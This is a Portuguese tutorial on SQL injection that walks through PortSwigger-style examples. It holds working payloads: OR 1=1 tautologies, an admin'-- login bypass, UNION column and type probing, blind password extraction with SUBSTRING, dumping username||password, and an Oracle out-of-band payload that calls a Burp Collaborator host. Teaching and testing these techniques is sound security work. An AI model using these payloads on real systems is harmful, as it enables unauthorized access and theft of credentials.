SQL Injection

É uma vulnerabilidade web que permite ao atacante interferir nas queries (consultas) feitas para o banco de dados de certa aplicação.

Em geral, o atacante consegue visualizar dados armazenados no banco de dados que ele não deveria poder ver (informação de outros usuários, dados da aplicação, senhas etc.). Além disso, pode ser que o atacante consiga modificar e deletar dados do DB e, em casos mais extremos, escalar o ataque para comprometer o funcionamento do back-end da aplicação ou performar um ataque DoS. De forma similar, ele pode subverter a lógica de certas aplicações e, por exemplo, passar pelo portal de login de algum site sem ter uma conta.

Exemplos de SQL Injections

Vulnerabilidades desse tipo apresentam-se nas mais diferentes formas. Para cada situação de ataque, é possível que haja uma abordagem diferente.

Usaremos como base os exemplos da Portswigger, a fim de explicar um pouco sobre diferentes tipos de SQL Injections.

Exemplo 1: modificando uma query para obter dados adicionais

Considere uma aplicação que distribui seus produtos em categorias. Quando o usuário clica na categoria "Presentes", o navegador manda uma requisição para o servidor da forma:

https://insecure-website.com/products?category=Gifts

Em seguida, a aplicação fará uma consulta no banco de dados, buscando os produtos da categoria "Presentes". A query utilizada seria, por exemplo:

SELECT * FROM products WHERE category = 'Gifts'

Essa consulta quer obter todas as informações (*), ou seja, todas as colunas da base de dados, referentes à tabela "products" nas quais a categoria do produto ("category" é uma das colunas) é "Gifts".

Considerando que a aplicação não implementa defesas contra SQL Injections, um atacante poderia construir uma entrada do tipo Gifts'+OR+1=1-- e colocá-la na URL:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Isso resultado na query:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--'

Obs.: o + transforma-se em espaço

Nesse caso, a consulta quer obter todas as informações (*) da tabela de produtos ("products"), mas só da categoria "Gifts" ou 1 = 1. Num primeiro momento isso pode parecer estranho, mas essa query está buscando todas as informações da tabela de produtos de todos os produtos, porque a condição para um produto ser selecionado pela consulta é que ele deve ser da categoria "Gifts" ou 1 deve ser igual à 1, o que sempre é verdade!. Dessa forma, o atacante recebe como resposta todas as entradas da tabela produtos.

Além disso, note que há um -- ao final da entrada do atacante. Isso representa, em certos bancos de dados (e nesse caso), um comentário. Logo, tudo que estiver escrito após isso será considerado um comentário. Isso é necessário para que a query termine com o código do atacante e ignore todo o resto. Por exemplo, se a consulta fosse

SELECT * FROM products WHERE category = '<entrada_do_atacante>' AND (price < 100)

Se o resto da consulta (' AND (price < 100)) não for comentado, o atacante não obterá tudo que quer ou a consulta dará erro. Entretanto, se houver um -- ao final da entrada, não haverá problemas (blabla' OR 1=1 --):

SELECT * FROM products WHERE category = 'blabla' OR 1=1 --' AND (price < 100)

Exemplo 2: acessando uma conta de administrador sem saber a senha

Considere um portal de login, com usuário e senha. Se alguém submeter o usuário "mineboy2007" e a senha "sadgoat123", a aplicação checa as credenciais a partir da query SQL:

SELECT * FROM users WHERE username = 'mineboy2007' AND password = 'sadgoat123'

Se ela retornar as informações do usuário, o login é um sucesso. Do contrário, ele falha.

Nesse cenário, um atacante poderia logar como qualquer usuário ao remover a checagem de senha ao inserir um comentário na query. Ele pode submeter, por exemplo, o usuário admin' -- e qualquer coisa na senha (pois ela não será verificada). Assim, query SQL fica:

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

Essa query irá retornar o usuário cujo nome é "admin" (independentemente da senha estar correta ou não) e logará o atacante no portal (como administrador).

Se o resultado da query é retornado pela resposta da aplicação e ela é vulnerável à SQL Injection, provavelmente é possível utilizar um UNION Attack para obter informações de outras tabelas do banco de dados. Esse ataque consiste em utilizar o UNION, que permite a execução de SELECTs adicionais em uma query. Por exemplo, a query abaixo retorna 4 colunas: a, b (da table_1) e c, d (da table_2).

SELECT a, b FROM table_1 UNION SELECT c, d FROM table_2

Para uma query com UNION funcionar, é necessário que:

  • Cada SELECT, antes e depois do UNION, tenha a mesma quantidade de colunas (ex.: na query acima, estamos buscando 2 colunas no primeiro SELECT e 2 colunas no segundo SELECT);

  • O tipo de dado de cada coluna seja correspondente entre as queries individualmente (ex.: na query acima, a coluna 'a' deve ser do mesmo tipo da coluna 'c' e a coluna 'b' deve ser do mesmo tipo da coluna 'd').

Dicas para esse tipo de ataque

Descobrir número de colunas da tabela

Para descobrir o número de colunas presentes na tabela, podemos usar o ORDER BY + índice da coluna na tabela. Esse comando ordena as respostas (por ordem alfabética por exemplo) de acordo com certa coluna. Para descobrir a quantidade de colunas da tabela, basta ir aumentando o índice da coluna no ORDER BY. Quando o servidor responder com um erro para o ORDER BY X, sabemos que a coluna X não existe e, portanto, a tabela tem X-1 colunas.

'       blabla' ORDER BY 1 --
'       blabla' ORDER BY 2 --
'       blabla' ORDER BY 3 --

Se o erro for enviado ao cliente de forma explícita, ele deve ser algo como "The ORDER BY position number 3 is out of range of the number of items in the select list."

Outra opção para descobrir o número de colunas é utilizar ORDER BY passando vários NULL como "colunas" de ordenação:

'       blabla' ORDER BY NULL, NULL -- tabela tem pelo menos 2 colunas se não retornar erro
'       blabla' ORDER BY NULL, NULL, NULL -- tabela tem pelo menos 3 colunas se não retornar erro

Descobrir tipo de dado de certa coluna

Sabendo o número de colunas da tabela é possível descobrir o tipo de dado em cada coluna. Para isso, é necessário realizar testes com queries do tipo:

'       blabla' UNION SELECT 'a',NULL,NULL,NULL --
'       blabla' UNION SELECT NULL,'a',NULL,NULL --
'       blabla' UNION SELECT NULL,NULL,'a',NULL --
'       blabla' UNION SELECT NULL,NULL,NULL,'a'--

Ao submeter, por exemplo, ' UNION SELECT 'a',NULL,NULL,NULL --, testaremos se a 1ª coluna contém strings, pois estamos fazendo um UNION, ou seja, o dado da 1ª coluna do 1º SELECT deve ser do mesmo tipo que o da 1ª coluna do 2º SELECT (o mesmo vale para as outras colunas). Caso o servidor responda com um erro (como Conversion failed when converting the varchar value 'a' to data type int.), sabemos que a primeira coluna não contém strings (varchar). Do contrário, se a query for um sucesso, a primeira coluna armazena strings.

NULL pode ser convertido para qualquer tipo, portanto não haverá problemas relacionados a tipos de dado incompatíveis ao utilizá-lo num UNION.

Já escrevi muita coisa para essa introdução, agora é com vocês: pesquisem!

  • Checar o começo de uma senha com SUBSTRING: SELECT TrackingId FROM TrackedUsers WHERE TrackingId = ' + pwn' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'-- -> TRUE => 1ª letra da senha é maior que 'm'(usar SUBSTR ou SUBSTRING - depende do DB)

  • Outra possibilidade de teste é: SELECT TrackingId FROM TrackedUsers WHERE TrackingId = ' + pwn' UNION SELECT 'a' WHERE 1=1--

Extra

  • Para exibir a lista de tabelas do DB (exceto DBs da Oracle):

    SELECT * FROM information_schema.tables

-Para exibir lista de colunas de uma tabela:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'
  • Em DBs da Oracle, usa-se:

    SELECT * FROM all_tables -- listar tabelas
    SELECT * FROM all_tab_columns WHERE table_name = 'nome_da_tabela' -- listar colunas
  • Em DBs da Oracle, um SELECT sempre deve conter um FROM <nome_da_tabela>. Para isso, uma tabela "padrão" para se usar é DUAL

  • Para concatenar resultados (colunas diferentes) em uma coluna, pode-se usar o ||: ' UNION SELECT username || '~' || password FROM users -- - (ORACLE e POSTGRE) ou 'foo'+'bar' (MICROSOFT) ou 'foo' 'bar' e CONCAT('foo','bar') (MYSQL)

Para ver mais, procure por "SQL Injection Cheat Sheets" como essa ou essa.

Como detectar uma SQL Injection?

Ferramentas como Burpsuite ou Sqlmap são capazes de detectar diversas vulnerabilidades relacionadas à SQL Injection de forma automática, mas também podemos realizar alguns testes simples para verificar se há falhas no sistema responsável pela comunicação com o banco de dados. Alguns desses testes são:

  • Enviar aspas simples (');

  • Enviar condicionais como OR 1=1 e OR 1=2;

  • Enviar payloads com triggers de tempo (delay) como '; IF (1=2) WAITFOR DELAY '0:0:10'-- e analisar o tempo de resposta;

  • Enviar payloads de OAST (Out-of-band Application Security Testing) que causam certos triggers e monitorar interações com sistemas externos.

    • Já que não explicamos sobre isso, segue um exemplo:

        '||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % ekiom SYSTEM "http://pibw1f1nhjh3vpkgtx6mtfnt8kea2eq8dy1n.burpcollab'||'orator.net/"> %ekiom;]>'),'/l') from dual)||' 
        -- conecta com um servidor de colaborador do Burp (faz uso de XML/DTD)

Last updated